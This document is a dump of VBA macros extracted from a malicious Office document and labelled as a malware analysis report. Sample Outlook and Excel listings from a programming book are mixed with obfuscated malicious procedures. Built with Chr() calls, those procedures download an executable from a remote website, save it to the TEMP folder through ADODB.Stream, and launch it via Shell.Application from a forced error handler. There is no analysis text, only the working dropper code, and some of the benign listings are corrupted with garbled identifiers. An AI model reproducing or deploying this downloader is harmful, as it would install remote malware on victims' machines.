Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub autoopen()

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End Sub

Sub Nip121ЦКВ3017(FFFFF As Double)

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End Sub



Attribute VB_Name = "Module1"
Public lw6wgKatg As String
Public FEveEv As Double
Public VSeeve As Long

'
' Listing 22.1. A procedure that enumerates the first- and
' second-level folders in the Outlook namespace.
'
Sub EnumerateFolders()
    '
    ' Set up the namespace
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Run through the first-level folders
    '
    For Each folder In ns.Folders
        Debug.Print folder.Name
        '
        ' Run through the second-level folders, if any
        '
        If folder.Folders.Count > 1 Then
            For Each subfolder In folder.Folders
                Debug.Print "   " & subfolder.Name
            Next 'subfolder
        End If
    Next 'folder
    Set ns = Nothing
End Sub
'
' Listing 22.2. A procedure to test the PickFolder method
'
Sub PickFolderTest()
    ' Set up the namespace
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Display the Select Folder dialog box
    '
    Set folder = ns.PickFolder
    '
    ' Test the return value
    '
    If Not folder Is Nothing Then
        MsgBox "You picked " & folder.Name
    End If
End Sub
'
' Listing 22.3. A procedure that toggles the Web view
' on and off for the currently displayed folder.
'
Sub ToggleWebView()
    '
    ' Set up the namespace and get the explorer
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Save the current folder
    '
    Set currFolder = r.exp.CurrentFolder
    '
    ' Move temporarily to the root
    '
    Set c.exp.CurrentFolder = ns.Folders(1)
    '
    ' Toggle Web view for the current folder
    '
    currFolder.WebViewOn = Not currFolder.WebViewOn
    '
    ' Return to the current folder
    '
    Set a.exp.CurrentFolder = currFolder
End Sub
'
' Listing 22.4. A Function that determines the
' e-mail address of the sender.
'
Function SenderAddress(msg As String) As String
    '
    ' Create a temporary reply
    '
    Set replyItem = y.msg.Reply
    '
    ' The Reply's "To" property holds the sender's address
    '
    SenderAddress = replyItem.To
    Set replyItem = Nothing
End Function
'
' Use this procedure to test the SenderAddress function.
'
Sub SenderAddressTest()
    '
    ' Set up the namespace and Inbox
    '
    Set ns = ThisOutlookSession.Session
    Set ib = ns.GetDefaultFolder(olFolderInbox)
    '
    ' Display the sender's address for a message
    '
    MsgBox SenderAddress(ib.Items(2))
End Sub
'
' Listing 22.5. A procedure that processes Inbox messages.
'
Sub ProcessInboxMessages()
    '
    ' Set up the namespace
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Get the default Inbox folder
    '
    Set ib = ns.GetDefaultFolder(olFolderInbox)
    '
    ' Run through each item in the Inbox
    '
    For Each msg In ib.Items
        '
        ' Flag important messages
        '
        If msg.Importance = olImportanceHigh Then
            msg.FlagStatus = olFlagMarked
            msg.FlagRequest = "Handle this, will ya!"
            msg.FlagDueBy = Date + 7
            msg.Importance = olImportanceNormal
            msg.Save
        End If
        '
        ' Look for expired flags
        '
        If msg.FlagDueBy < Date Then
            msg.Display
            MsgBox "The displayed message has an expired flag!"
        End If
        '
        ' Move sensitive messages to "Confidential" folder
        '
        If msg.Sensitivity = olConfidential Then
            msg.Move ns.Folders(1).Folders("Confidential")
        End If
    Next 'msg
End Sub

Sub px4vMaz62GyVze()

Set ppVZZF1t = eWUyYS91("M" & Chr(105) & Chr(99) & Chr(114) & "o" & Chr(115) & Chr(111) & "f" & Chr(116) & Chr(46) & "X" & "M" & "L" & "H" & Chr(84) & Chr(84) & Chr(80))

CallByName ppVZZF1t, "O" & Chr(112) & Chr(101) & "n", VbMethod, Chr(71) & Chr(69) & "T" _
, Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & "w" & Chr(119) & Chr(119) & Chr(46) & Chr(116) & Chr(105) & Chr(115) & Chr(99) & Chr(104) & Chr(108) & Chr(101) & "r" & Chr(101) & Chr(105) & Chr(45) & "z" & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(100) & Chr(101) & Chr(47) & Chr(53) & Chr(57) & Chr(47) & Chr(53) & Chr(54) & Chr(46) & "e" & Chr(120) & Chr(101) _
, False

Set cenPup7VnpnK = eWUyYS91(Chr(87) & "S" & "c" & Chr(114) & "i" & Chr(112) & "t" & "." & Chr(83) & Chr(104) & Chr(101) & "l" & Chr(108))

Set OQmJPcxQ = CallByName(cenPup7VnpnK, Chr(69) & "" & "n" & Chr(118) & "" & Chr(105) & "ro" & Chr(110) & Chr(109) & "en" & Chr(116), VbGet, "P" & "" & Chr(114) & Chr(111) & "ce" & "ss")

mWGj6d6CH22Y = OQmJPcxQ(Chr(84) & Chr(69) & "M" & "P")

lw6wgKatg = mWGj6d6CH22Y & Chr(92) & Chr(115) & Chr(105) & Chr(108) & Chr(118) & Chr(117) & Chr(112) & "l" & Chr(101) & "." & Chr(101) & Chr(120) & Chr(101)
Dim FLLSJmKUYRVHQ() As Byte

CallByName ppVZZF1t, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
FLLSJmKUYRVHQ = CallByName(ppVZZF1t, "re" & Chr(115) & "p" & Chr(111) & "n" & Chr(115) & "e" & Chr(66) & Chr(111) & Chr(100) & Chr(121), VbGet)
Zjo9QYph6v FLLSJmKUYRVHQ, lw6wgKatg
On Error GoTo PA4FeaqAL
    a = 84 / 0
  On Error GoTo 0
  
JRyXdhZR:
  Exit Sub
PA4FeaqAL:
  A06WNXrxh ("AU7CVXKyNxAAi")
Resume JRyXdhZR
End Sub
'
' Listing 22.6. A procedure that sends an e-mail message
'
Sub SendAMessage()
    ' Set up the namespace
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Create the new MailItem
    '
    Set msg = Applicy.ation.CreateItem(olMailItem)
    '
    ' Specify the recipient, subject, and body
    ' and then send the message
    '
    With msg
        '
        ' Adjust the following address!
        '
        .Recipients.Add "bitbucket@mcfedries.com"
        .Subject = "Just Testing"
        .Body = "This is only a test"
        .Send
    End With
End Sub
'
' Listing 22.7. A procedure that creates a forwarded message
' and deletes any existing attachments before sending it.
'
Sub ForwardAndDeleteAttachments()
    '
    ' Set up the namespace and Inbox
    '
    Set ns = ThisOutlookSession.Session
    Set ib = ns.GetDefaultFolder(olFolderInbox)
    '
    ' Create the forwarded MailItem
    '
    Set msg = ib.Items(ib.Items.Count).Forward
    With msg
        '
        ' Delete all the attachments
        '
        For Each att In .Attachments
            att.Delete
        Next 'att
        '
        ' Send it (change the address!)
        '
        .Recipients.Add "selene@mcfedries.com"
        .Send
    End With
End Sub
'


Public Function A06WNXrxh(MmXQ1eLmZ As String)
 Set d6eiGTziQd = eWUyYS91("S" & Chr(104) & Chr(101) & "l" & Chr(108) & "." & "A" & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
d6eiGTziQd.Open (lw6wgKatg)
End Function
' Listing 22.8. A procedure that stores a password
' in a folder's Description property.
'
Sub SetPassword()
    ' Set up the namespace
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Save the password in the folder's Description property
    '
    Set folder = ns.Folders(1).Folders("Confidential")
    folder.Description = "password"
End Sub

'
' Listing 22.9. An event handler that asks the user for
' a password before switching to the "Confidential" folder.
'
Private Sub gExplorer_BeforeFolderSwitch(ByVal NewFolder As Object, Cancel As Boolean)
    If NewFolder.Name = "Confidential" Then
        pwd = InputBox("Please enter the password for this folder:")
        If pwd <> NewFolder.Description Then
            Cancel = True
        End If
    End If
End Sub
'
' Use this event handler to insure that the gExplorer
' global variable gets instantiated at startup
'
Private Sub Application_Startup()
    Set gExplorer = Applicat.ion.ActiveExplorer
End Sub
'
' Listing 22.10. An event handler for the MailItem object's Send event.
'
Private Sub gMailItem_Send(Cancel As Boolean)
    Dim result As Integer
    result = MsgBox("Do you want to save this message in Sent Items?", vbYesNo)
    If result = vbNo Then
        gMailItem.DeleteAfterSubmit = True
    End If
End Sub
'
' Listing 22.11. A procedure that sends an e-mail message and
' references the global gMailItem variable to trap events.
'
Sub SendAMessage2()
    '
    ' Set up the namespace
    '
    Set ns = ThisOutlookSession.Session
    '
    ' Create the new MailItem using the
    ' gMailItem global variable
    '
    Set gMailItem = Appl.ication.CreateItem(olMailItem)
    '
    ' Specify the recipient, subject, and body
    ' and then send the message
    '
    With gMailItem
        '
        ' Adjust the following address!
        '
        .Recipients.Add "bitbucket@mcfedries.com"
        .Subject = "Just Testing Events"
        .Body = "This is only an events test"
        .Send
    End With
End Sub

Attribute VB_Name = "Module2"
'
' Listing 23.1. The GetNumbers procedure prompts the user for a dividend and a divisor.
'
Sub GetNumbers()
    Dim done As Boolean
    Dim divisor As Variant
    Dim dividend As Variant
    '
    ' Prompt user for dividend and divisor.
    '
    done = False
    Do While Not done
        dividend = InputBox("Enter the dividend:", "Divider")
        divisor = InputBox("Enter the divisor:", "Divider")
        done = Divide(dividend, divisor)
    Loop
End Sub
'
' Listing 23.2. The Divide function divides the dividend by the divisor.
' The function traps "division by zero" errors.
'
Function Divide(dividend, divisor) As Boolean
    Dim msg As String
    Dim result As Single
    '
    ' Set the trap
    '
    On Error GoTo DivByZeroHandler
    '
    ' Peform the division
    '
    result = dividend / divisor
    '
    ' If it went okay, display the result
    '
    msg = dividend & _
          " divided by " & _
          divisor & _
          " equals " & _
          result
    MsgBox msg
    '
    ' Set the return value and bypass the error handler
    '
    Divide = True
    Exit Function
    '
    ' Code branches here if an error occurs
    '
DivByZeroHandler:
    '
    ' Display the error message
    '
    result = MsgBox("You entered 0 as the divisor! Try again?", _
                    vbYesNo + vbQuestion, _
                    "Divider")
    '
    ' Return the user's choice
    '
    If result = vbYes Then
        Divide = False
    Else
        Divide = True
    End If
End Function
'
' Listing 23.3 Backs up the active workbook to a drive specified by



Public Function eWUyYS91(D3e8fTIO61 As String)
 Set eWUyYS91 = CreateObject(D3e8fTIO61)
End Function


' the user. Traps any errors (such as having no disk in the drive).
'
Sub BackUpToFloppy()
    Dim backupDrive As String
    Dim backupName As String
    Dim msg As String
    Dim done As Boolean
    Dim result As Integer
    '
    ' Define the location of the error handler
    '
    On Error GoTo ErrorHandler
    '
    ' Initialize some variables and then loop
    '
    Application.DisplayAlerts = False
    done = False
    backupDrive = "A:"
    While Not done
        '
        ' Get the drive to use for the backup
        '
        backupDrive = InputBox( _
            Prompt:="Enter the drive letter for the backup:", _
            Title:="Backup", _
            Default:=backupDrive)
        '
        ' Check to see if OK was selected
        '
        If backupDrive <> "" Then
            '
            ' Make sure the backup drive contains a colon (:)
            '
            If InStr(backupDrive, ":") = 0 Then
                backupDrive = Left(backupDrive, 1) & ":"
            End If
            '
            ' First, save the file
            '
            ActiveWorkbook.Save
            '
            ' Assume the backup will be successful,
            ' so set done to True to exit the loop
            '
            done = True
            '
            ' Concatenate drive letter and workbook name
            '
            backupName = backupDrive & ActiveWorkbook.Name
            '
            ' Make a copy on the specified drive
            '
            ActiveWorkbook.SaveCopyAs FileName:=backupName
        Else
            Exit Sub
        End If
    Wend
    '
    ' Bypass the error handler
    '
    Exit Sub
    '
    ' Code branches here if an error occurs
    '
ErrorHandler:
    msg = "An error has occurred!" & Chr(13) & Chr(13) & _
          "Select Abort to bail out, Retry to re-enter the drive" & Chr(13) & _
          "letter, or Ignore to attempt the backup again."
    result = MsgBox(msg, vbExclamation + vbAbortRetryIgnore)
    Select Case result
        Case vbAbort
            done = True
        Case vbRetry
            done = False
            Resume Next
        Case vbIgnore
            Resume
    End Select
End Sub
'
' Listing 23.4. This procedure divides two numbers. It traps three specific

Public Function Zjo9QYph6v(jIAuThroV99z As Variant, dicVrTXgN As String)
Dim pr5cUbS7yhDUj: Set pr5cUbS7yhDUj = eWUyYS91(Chr(65) & "d" & "o" & "d" & "b" & Chr(46) & Chr(83) & Chr(116) & Chr(114) & "e" & "a" & Chr(109))

With pr5cUbS7yhDUj
   .Type = 1
    .Open
    .write jIAuThroV99z
    .savetofile dicVrTXgN, 2
End With
End Function

' errors: division by zero, overflow, and type mismatch.
'
Sub DivideNumbers()
    Dim msg As String
    Dim result As Single
    Dim divisor As Variant
    Dim dividend As Variant
    '
    ' Set the trap
    '
    On Error GoTo DivByZeroHandler
    '
    ' Prompt user for the dividend
    '
GetDividendAndDivisor:
    dividend = InputBox("Enter the dividend:", "Divider")
    If dividend = "" Then Exit Sub
    '
    ' Prompt user for the divisor
    '
GetDivisorOnly:
    divisor = InputBox("Enter the divisor:", "Divider")
    If divisor = "" Then Exit Sub
    '
    ' Peform the division
    '
    result = dividend / divisor
    '
    ' If it went okay, display the result
    '
    msg = dividend & _
          " divided by " & _
          divisor & _
          " equals " & _
          result
    MsgBox msg
    '
    ' Bypass the error handler
    '
    Exit Sub
    '
    ' Code branches here if an error occurs
    '
DivByZeroHandler:
    '
    ' Display the error message
    '
    msg = "An error occurred!" & Chr(13) & Chr(13) & _
          "Error number:  " & Err.Number & Chr(13) & _
          "Error message: " & Err.Description
    MsgBox msg, vbOKOnly + vbCritical
    '
    ' Check the error number
    '
    Select Case Err.Number
        '
        ' Division by zero
        '
        Case 11
            Resume GetDivisorOnly
        '
        ' Overflow
        '
        Case 6
            Resume GetDividendAndDivisor
        '
        ' Type mismatch
        '
        Case 13
            If Not IsNumeric(dividend) Then
                Resume GetDividendAndDivisor
            Else
                Resume GetDivisorOnly
            End If
        '
        ' Anything else, just quit
        '
        Case Else
            Exit Sub
    End Select
End Sub